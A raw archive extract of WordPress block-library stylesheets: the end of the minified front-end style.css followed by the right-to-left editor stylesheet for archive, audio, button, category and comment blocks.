footer{font-size:1.125em;text-align:left}.wp-block-quote>cite{display:block}.wp-block-read-more{display:block;width:fit-content}.wp-block-read-more:where(:not([style*=text-decoration])){text-decoration:none}.wp-block-read-more:where(:not([style*=text-decoration])):active,.wp-block-read-more:where(:not([style*=text-decoration])):focus{text-decoration:none}ul.wp-block-rss.alignleft{margin-right:2em}ul.wp-block-rss.alignright{margin-left:2em}ul.wp-block-rss.is-grid{display:flex;flex-wrap:wrap;padding:0}ul.wp-block-rss.is-grid li{margin:0 0 1em 1em;width:100%}@media (min-width:600px){ul.wp-block-rss.columns-2 li{width:calc(50% - 1em)}ul.wp-block-rss.columns-3 li{width:calc(33.33333% - 1em)}ul.wp-block-rss.columns-4 li{width:calc(25% - 1em)}ul.wp-block-rss.columns-5 li{width:calc(20% - 1em)}ul.wp-block-rss.columns-6 li{width:calc(16.66667% - 1em)}}.wp-block-rss__item-author,.wp-block-rss__item-publish-date{display:block;font-size:.8125em}.wp-block-rss{box-sizing:border-box;list-style:none;padding:0}.wp-block-search__button{margin-right:10px;word-break:normal}.wp-block-search__button.has-icon{line-height:0}.wp-block-search__button svg{height:1.25em;min-height:24px;min-width:24px;width:1.25em;fill:currentColor;vertical-align:text-bottom}:where(.wp-block-search__button){border:1px solid #ccc;padding:6px 10px}.wp-block-search__inside-wrapper{display:flex;flex:auto;flex-wrap:nowrap;max-width:100%}.wp-block-search__label{width:100%}.wp-block-search__input{appearance:none;border:1px solid #949494;flex-grow:1;margin-left:0;margin-right:0;min-width:3rem;padding:8px;text-decoration:unset!important}.wp-block-search.wp-block-search__button-only .wp-block-search__button{box-sizing:border-box;display:flex;flex-shrink:0;justify-content:center;margin-right:0;max-width:100%}.wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper{min-width:0!important;transition-property:width}.wp-block-search.wp-block-search__button-only .wp-block-search__input{flex-basis:100%;transition-duration:.3s}.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden,.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__inside-wrapper{overflow:hidden}.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__input{border-left-width:0!important;border-right-width:0!important;flex-basis:0;flex-grow:0;margin:0;min-width:0!important;padding-left:0!important;padding-right:0!important;width:0!important}:where(.wp-block-search__input){font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;text-transform:inherit}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper){border:1px solid #949494;box-sizing:border-box;padding:4px}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input{border:none;border-radius:0;padding:0 4px}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input:focus{outline:none}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) :where(.wp-block-search__button){padding:4px 8px}.wp-block-search.aligncenter .wp-block-search__inside-wrapper{margin:auto}.wp-block[data-align=right] .wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper{float:left}.wp-block-separator{border:none;border-top:2px solid}:root :where(.wp-block-separator.is-style-dots){height:auto;line-height:1;text-align:center}:root :where(.wp-block-separator.is-style-dots):before{color:currentColor;content:"···";font-family:serif;font-size:1.5em;letter-spacing:2em;padding-left:2em}.wp-block-separator.is-style-dots{background:none!important;border:none!important}.wp-block-site-logo{box-sizing:border-box;line-height:0}.wp-block-site-logo a{display:inline-block;line-height:0}.wp-block-site-logo.is-default-size img{height:auto;width:120px}.wp-block-site-logo img{height:auto;max-width:100%}.wp-block-site-logo a,.wp-block-site-logo img{border-radius:inherit}.wp-block-site-logo.aligncenter{margin-left:auto;margin-right:auto;text-align:center}:root :where(.wp-block-site-logo.is-style-rounded){border-radius:9999px}.wp-block-site-tagline,.wp-block-site-title{box-sizing:border-box}.wp-block-site-title :where(a){color:inherit;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;text-decoration:inherit}.wp-block-social-links{background:none;box-sizing:border-box;margin-right:0;padding-left:0;padding-right:0;text-indent:0}.wp-block-social-links .wp-social-link a,.wp-block-social-links .wp-social-link a:hover{border-bottom:0;box-shadow:none;text-decoration:none}.wp-block-social-links .wp-social-link svg{height:1em;width:1em}.wp-block-social-links .wp-social-link span:not(.screen-reader-text){font-size:.65em;margin-left:.5em;margin-right:.5em}.wp-block-social-links.has-small-icon-size{font-size:16px}.wp-block-social-links,.wp-block-social-links.has-normal-icon-size{font-size:24px}.wp-block-social-links.has-large-icon-size{font-size:36px}.wp-block-social-links.has-huge-icon-size{font-size:48px}.wp-block-social-links.aligncenter{display:flex;justify-content:center}.wp-block-social-links.alignright{justify-content:flex-end}.wp-block-social-link{border-radius:9999px;display:block;height:auto}@media not (prefers-reduced-motion){.wp-block-social-link{transition:transform .1s ease}}.wp-block-social-link a{align-items:center;display:flex;line-height:0}.wp-block-social-link:hover{transform:scale(1.1)}.wp-block-social-links .wp-block-social-link.wp-social-link{display:inline-block;margin:0;padding:0}.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor svg,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:active,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:hover,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:visited{color:currentColor;fill:currentColor}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link{background-color:#f0f0f0;color:#444}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-amazon{background-color:#f90;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-bandcamp{background-color:#1ea0c3;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-behance{background-color:#0757fe;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-bluesky{background-color:#0a7aff;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-codepen{background-color:#1e1f26;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-deviantart{background-color:#02e49b;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-discord{background-color:#5865f2;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-dribbble{background-color:#e94c89;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-dropbox{background-color:#4280ff;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-etsy{background-color:#f45800;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-facebook{background-color:#0866ff;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-fivehundredpx{background-color:#000;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-flickr{background-color:#0461dd;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-foursquare{background-color:#e65678;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-github{background-color:#24292d;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-goodreads{background-color:#eceadd;color:#382110}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-google{background-color:#ea4434;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-gravatar{background-color:#1d4fc4;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-instagram{background-color:#f00075;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-lastfm{background-color:#e21b24;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-linkedin{background-color:#0d66c2;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-mastodon{background-color:#3288d4;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-medium{background-color:#000;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-meetup{background-color:#f6405f;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-patreon{background-color:#000;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-pinterest{background-color:#e60122;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-pocket{background-color:#ef4155;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-reddit{background-color:#ff4500;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-skype{background-color:#0478d7;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-snapchat{background-color:#fefc00;color:#fff;stroke:#000}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-soundcloud{background-color:#ff5600;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-spotify{background-color:#1bd760;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-telegram{background-color:#2aabee;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-threads{background-color:#000;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-tiktok{background-color:#000;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-tumblr{background-color:#011835;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-twitch{background-color:#6440a4;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-twitter{background-color:#1da1f2;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-vimeo{background-color:#1eb7ea;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-vk{background-color:#4680c2;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-wordpress{background-color:#3499cd;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-whatsapp{background-color:#25d366;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-x{background-color:#000;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-yelp{background-color:#d32422;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-youtube{background-color:red;color:#fff}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link{background:none}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link svg{height:1.25em;width:1.25em}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-amazon{color:#f90}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-bandcamp{color:#1ea0c3}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-behance{color:#0757fe}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-bluesky{color:#0a7aff}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-codepen{color:#1e1f26}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-deviantart{color:#02e49b}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-discord{color:#5865f2}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-dribbble{color:#e94c89}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-dropbox{color:#4280ff}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-etsy{color:#f45800}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-facebook{color:#0866ff}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-fivehundredpx{color:#000}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-flickr{color:#0461dd}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-foursquare{color:#e65678}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-github{color:#24292d}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-goodreads{color:#382110}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-google{color:#ea4434}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-gravatar{color:#1d4fc4}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-instagram{color:#f00075}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-lastfm{color:#e21b24}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-linkedin{color:#0d66c2}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-mastodon{color:#3288d4}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-medium{color:#000}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-meetup{color:#f6405f}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-patreon{color:#000}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-pinterest{color:#e60122}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-pocket{color:#ef4155}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-reddit{color:#ff4500}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-skype{color:#0478d7}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-snapchat{color:#fff;stroke:#000}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-soundcloud{color:#ff5600}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-spotify{color:#1bd760}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-telegram{color:#2aabee}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-threads{color:#000}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-tiktok{color:#000}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-tumblr{color:#011835}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-twitch{color:#6440a4}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-twitter{color:#1da1f2}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-vimeo{color:#1eb7ea}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-vk{color:#4680c2}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-whatsapp{color:#25d366}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-wordpress{color:#3499cd}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-x{color:#000}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-yelp{color:#d32422}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-youtube{color:red}.wp-block-social-links.is-style-pill-shape .wp-social-link{width:auto}:root :where(.wp-block-social-links .wp-social-link a){padding:.25em}:root :where(.wp-block-social-links.is-style-logos-only .wp-social-link a){padding:0}:root :where(.wp-block-social-links.is-style-pill-shape .wp-social-link a){padding-left:.6666666667em;padding-right:.6666666667em}.wp-block-social-links:not(.has-icon-color):not(.has-icon-background-color) .wp-social-link-snapchat .wp-block-social-link-label{color:#000}.wp-block-spacer{clear:both}.wp-block-tag-cloud{box-sizing:border-box}.wp-block-tag-cloud.aligncenter{justify-content:center;text-align:center}.wp-block-tag-cloud.alignfull{padding-left:1em;padding-right:1em}.wp-block-tag-cloud a{display:inline-block;margin-left:5px}.wp-block-tag-cloud span{display:inline-block;margin-right:5px;text-decoration:none}:root :where(.wp-block-tag-cloud.is-style-outline){display:flex;flex-wrap:wrap;gap:1ch}:root :where(.wp-block-tag-cloud.is-style-outline a){border:1px solid;font-size:unset!important;margin-left:0;padding:1ch 2ch;text-decoration:none!important}.wp-block-table{overflow-x:auto}.wp-block-table table{border-collapse:collapse;width:100%}.wp-block-table thead{border-bottom:3px solid}.wp-block-table tfoot{border-top:3px solid}.wp-block-table td,.wp-block-table th{border:1px solid;padding:.5em}.wp-block-table .has-fixed-layout{table-layout:fixed;width:100%}.wp-block-table .has-fixed-layout td,.wp-block-table .has-fixed-layout th{word-break:break-word}.wp-block-table.aligncenter,.wp-block-table.alignleft,.wp-block-table.alignright{display:table;width:auto}.wp-block-table.aligncenter td,.wp-block-table.aligncenter th,.wp-block-table.alignleft td,.wp-block-table.alignleft th,.wp-block-table.alignright td,.wp-block-table.alignright th{word-break:break-word}.wp-block-table .has-subtle-light-gray-background-color{background-color:#f3f4f5}.wp-block-table .has-subtle-pale-green-background-color{background-color:#e9fbe5}.wp-block-table .has-subtle-pale-blue-background-color{background-color:#e7f5fe}.wp-block-table .has-subtle-pale-pink-background-color{background-color:#fcf0ef}.wp-block-table.is-style-stripes{background-color:initial;border-bottom:1px solid #f0f0f0;border-collapse:inherit;border-spacing:0}.wp-block-table.is-style-stripes tbody tr:nth-child(odd){background-color:#f0f0f0}.wp-block-table.is-style-stripes.has-subtle-light-gray-background-color tbody tr:nth-child(odd){background-color:#f3f4f5}.wp-block-table.is-style-stripes.has-subtle-pale-green-background-color tbody tr:nth-child(odd){background-color:#e9fbe5}.wp-block-table.is-style-stripes.has-subtle-pale-blue-background-color tbody tr:nth-child(odd){background-color:#e7f5fe}.wp-block-table.is-style-stripes.has-subtle-pale-pink-background-color tbody tr:nth-child(odd){background-color:#fcf0ef}.wp-block-table.is-style-stripes td,.wp-block-table.is-style-stripes th{border-color:#0000}.wp-block-table .has-border-color td,.wp-block-table .has-border-color th,.wp-block-table .has-border-color tr,.wp-block-table .has-border-color>*{border-color:inherit}.wp-block-table table[style*=border-top-color] tr:first-child,.wp-block-table table[style*=border-top-color] tr:first-child td,.wp-block-table table[style*=border-top-color] tr:first-child th,.wp-block-table table[style*=border-top-color]>*,.wp-block-table table[style*=border-top-color]>* td,.wp-block-table table[style*=border-top-color]>* th{border-top-color:inherit}.wp-block-table table[style*=border-top-color] tr:not(:first-child){border-top-color:initial}.wp-block-table table[style*=border-right-color] td:last-child,.wp-block-table table[style*=border-right-color] th,.wp-block-table table[style*=border-right-color] tr,.wp-block-table table[style*=border-right-color]>*{border-left-color:inherit}.wp-block-table table[style*=border-bottom-color] tr:last-child,.wp-block-table table[style*=border-bottom-color] tr:last-child td,.wp-block-table table[style*=border-bottom-color] tr:last-child th,.wp-block-table table[style*=border-bottom-color]>*,.wp-block-table table[style*=border-bottom-color]>* td,.wp-block-table table[style*=border-bottom-color]>* th{border-bottom-color:inherit}.wp-block-table table[style*=border-bottom-color] tr:not(:last-child){border-bottom-color:initial}.wp-block-table table[style*=border-left-color] td:first-child,.wp-block-table table[style*=border-left-color] th,.wp-block-table table[style*=border-left-color] tr,.wp-block-table table[style*=border-left-color]>*{border-right-color:inherit}.wp-block-table table[style*=border-style] td,.wp-block-table table[style*=border-style] th,.wp-block-table table[style*=border-style] tr,.wp-block-table table[style*=border-style]>*{border-style:inherit}.wp-block-table table[style*=border-width] td,.wp-block-table table[style*=border-width] th,.wp-block-table table[style*=border-width] tr,.wp-block-table table[style*=border-width]>*{border-style:inherit;border-width:inherit}:root :where(.wp-block-table-of-contents){box-sizing:border-box}:where(.wp-block-term-description){box-sizing:border-box;margin-bottom:var(--wp--style--block-gap);margin-top:var(--wp--style--block-gap)}.wp-block-term-description p{margin-bottom:0;margin-top:0}.wp-block-text-columns,.wp-block-text-columns.aligncenter{display:flex}.wp-block-text-columns .wp-block-column{margin:0 1em;padding:0}.wp-block-text-columns .wp-block-column:first-child{margin-right:0}.wp-block-text-columns .wp-block-column:last-child{margin-left:0}.wp-block-text-columns.columns-2 .wp-block-column{width:50%}.wp-block-text-columns.columns-3 .wp-block-column{width:33.3333333333%}.wp-block-text-columns.columns-4 .wp-block-column{width:25%}pre.wp-block-verse{overflow:auto;white-space:pre-wrap}:where(pre.wp-block-verse){font-family:inherit}.wp-block-video{box-sizing:border-box}.wp-block-video video{vertical-align:middle;width:100%}@supports (position:sticky){.wp-block-video [poster]{object-fit:cover}}.wp-block-video.aligncenter{text-align:center}.wp-block-video :where(figcaption){margin-bottom:1em;margin-top:.5em}.editor-styles-wrapper,.entry-content{counter-reset:footnotes}a[data-fn].fn{counter-increment:footnotes;display:inline-flex;font-size:smaller;text-decoration:none;text-indent:-9999999px;vertical-align:super}a[data-fn].fn:after{content:"[" counter(footnotes) "]";float:right;text-indent:0}.wp-element-button{cursor:pointer}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(-135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(-135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(-135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(-135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(-135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(-135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(-135deg,#020381,#2874fc)}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}.has-text-align-center{text-align:center}.has-text-align-left{text-align:left}.has-text-align-right{text-align:right}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;line-height:normal;padding:15px 23px 14px;right:5px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-left-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-right-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-left-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-right-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}PK1Xd[�`�!�"�"!dist/block-library/editor-rtl.cssnu�[���ul.wp-block-archives{
  padding-right:2.5em;
}

.wp-block-archives .wp-block-archives{
  border:0;
  margin:0;
}

.wp-block-audio{
  margin-left:0;
  margin-right:0;
  position:relative;
}
.wp-block-audio.is-transient audio{
  opacity:.3;
}
.wp-block-audio .components-spinner{
  margin-right:-9px;
  margin-top:-9px;
  position:absolute;
  right:50%;
  top:50%;
}

.wp-block-avatar__image img{
  width:100%;
}

.wp-block-avatar.aligncenter .components-resizable-box__container{
  margin:0 auto;
}

.wp-block[data-align=center]>.wp-block-button{
  margin-left:auto;
  margin-right:auto;
  text-align:center;
}

.wp-block[data-align=right]>.wp-block-button{
  text-align:right;
}

.wp-block-button{
  cursor:text;
  position:relative;
}
.wp-block-button:focus{
  box-shadow:0 0 0 1px #fff, 0 0 0 3px var(--wp-admin-theme-color);
  outline:2px solid #0000;
  outline-offset:-2px;
}
.wp-block-button[data-rich-text-placeholder]:after{
  opacity:.8;
}

div[data-type="core/button"]{
  display:table;
}
.wp-block-buttons>.wp-block,.wp-block-buttons>.wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button{
  margin:0;
}
.wp-block-buttons>.block-list-appender{
  align-items:center;
  display:inline-flex;
}
.wp-block-buttons.is-vertical>.block-list-appender .block-list-appender__toggle{
  justify-content:flex-start;
}
.wp-block-buttons>.wp-block-button:focus{
  box-shadow:none;
}
.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center]{
  margin-left:auto;
  margin-right:auto;
  margin-top:0;
  width:100%;
}
.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center] .wp-block-button{
  margin-bottom:0;
}

.wp-block[data-align=center]>.wp-block-buttons{
  align-items:center;
  justify-content:center;
}

.wp-block[data-align=right]>.wp-block-buttons{
  justify-content:flex-end;
}

.wp-block-categories ul{
  padding-right:2.5em;
}
.wp-block-categories ul ul{
  margin-top:6px;
}
[data-align=center] .wp-block-categories{
  text-align:center;
}

.wp-block-categories__indentation{
  padding-right:16px;
}

.wp-block-code code{
  background:none;
}

.wp-block-columns :where(.wp-block){
  margin-left:0;
  margin-right:0;
  max-width:none;
}

html :where(.wp-block-column){
  margin-bottom:0;
  margin-top:0;
}
.wp-block-comments__legacy-placeholder,.wp-block-post-comments{
  box-sizing:border-box;
}
.wp-block-comments__legacy-placeholder .alignleft,.wp-block-post-comments .alignleft{
  float:right;
}
.wp-block-comments__legacy-placeholder .alignright,.wp-block-post-comments .alignright{
  float:left;
}
.wp-block-comments__legacy-placeholder .navigation:after,.wp-block-post-comments .navigation:after{
  clear:both;
  content:"";
  display:table;
}
.wp-block-comments__legacy-placeholder .commentlist,.wp-block-post-comments .commentlist{
  clear:both;
  list-style:none;
  margin:0;
  padding:0;
}
.wp-block-comments__legacy-placeholder .commentlist .comment,.wp-block-post-comments .commentlist .comment{
  min-height:2.25em;
  padding-right:3.25em;
}
.wp-block-comments__legacy-placeholder .commentlist .comment p,.wp-block-post-comments .commentlist .comment p{
  font-size:1em;
  line-height:1.8;
  margin:1em 0;
}
.wp-block-comments__legacy-placeholder .commentlist .children,.wp-block-post-comments .commentlist .children{
  list-style:none;
  margin:0;
  padding:0;
}
.wp-block-comments__legacy-placeholder .comment-author,.wp-block-post-comments .comment-author{
  line-height:1.5;
}
.wp-block-comments__legacy-placeholder .comment-author .avatar,.wp-block-post-comments .comment-author .avatar{
  border-radius:1.5em;
  display:block;
  float:right;
  height:2.5em;
  margin-left:.75em;
  margin-top:.5em;
  width:2.5em;
}
.wp-block-comments__legacy-placeholder .comment-author cite,.wp-block-post-comments .comment-author cite{
  font-style:normal;
}
.wp-block-comments__legacy-placeholder .comment-meta,.wp-block-post-comments .comment-meta{
  font-size:.875em;
  line-height:1.5;
}
.wp-block-comments__legacy-placeholder .comment-meta b,.wp-block-post-comments .comment-meta b{
  font-weight:400;
}
.wp-block-comments__legacy-placeholder .comment-meta .comment-awaiting-moderation,.wp-block-post-comments .comment-meta .comment-awaiting-moderation{
  display:block;
  margin-bottom:1em;
  margin-top:1em;
}
.wp-block-comments__legacy-placeholder .comment-body .commentmetadata,.wp-block-post-comments .comment-body .commentmetadata{
  font-size:.875em;
}
.wp-block-comments__legacy-placeholder .comment-form-author label,.wp-block-comments__legacy-placeholder .comment-form-comment label,.wp-block-comments__legacy-placeholder .comment-form-email label,.wp-block-comments__legacy-placeholder .comment-form-url label,.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{
  display:block;
  margin-bottom:.25em;
}
.wp-block-comments__legacy-placeholder .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder .comment-form textarea,.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{
  box-sizing:border-box;
  display:block;
  width:100%;
}
.wp-block-comments__legacy-placeholder .comment-form-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent{
  display:flex;
  gap:.25em;
}
.wp-block-comments__legacy-placeholder .comment-form-cookies-consent #wp-comment-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{
  margin-top:.35em;
}
.wp-block-comments__legacy-placeholder .comment-reply-title,.wp-block-post-comments .comment-reply-title{
  margin-bottom:0;
}
.wp-block-comments__legacy-placeholder .comment-reply-title :where(small),.wp-block-post-comments .comment-reply-title :where(small){
  font-size:var(--wp--preset--font-size--medium, smaller);
  margin-right:.5em;
}
.wp-block-comments__legacy-placeholder .reply,.wp-block-post-comments .reply{
  font-size:.875em;
  margin-bottom:1.4em;
}
.wp-block-comments__legacy-placeholder input:not([type=submit]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{
  border:1px solid #949494;
  font-family:inherit;
  font-size:1em;
}
.wp-block-comments__legacy-placeholder input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{
  padding:calc(.667em + 2px);
}

:where(.wp-block-post-comments input[type=submit],.wp-block-comments__legacy-placeholder input[type=submit]){
  border:none;
}

.wp-block-comments{
  box-sizing:border-box;
}

.block-library-comments-toolbar__popover .components-popover__content{
  min-width:230px;
}

.wp-block-comments__legacy-placeholder *{
  pointer-events:none;
}

.wp-block-comment-author-avatar__placeholder{
  border:1px dashed;
  height:100%;
  width:100%;
  stroke:currentColor;
  stroke-dasharray:3;
}

.wp-block[data-align=center]>.wp-block-comments-pagination{
  justify-content:center;
}

:where(.editor-styles-wrapper) .wp-block-comments-pagination{
  max-width:100%;
}
:where(.editor-styles-wrapper) .wp-block-comments-pagination.block-editor-block-list__layout{
  margin:0;
}

.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{
  font-size:inherit;
  margin-bottom:.5em;
  margin-right:.5em;
  margin-top:.5em;
}
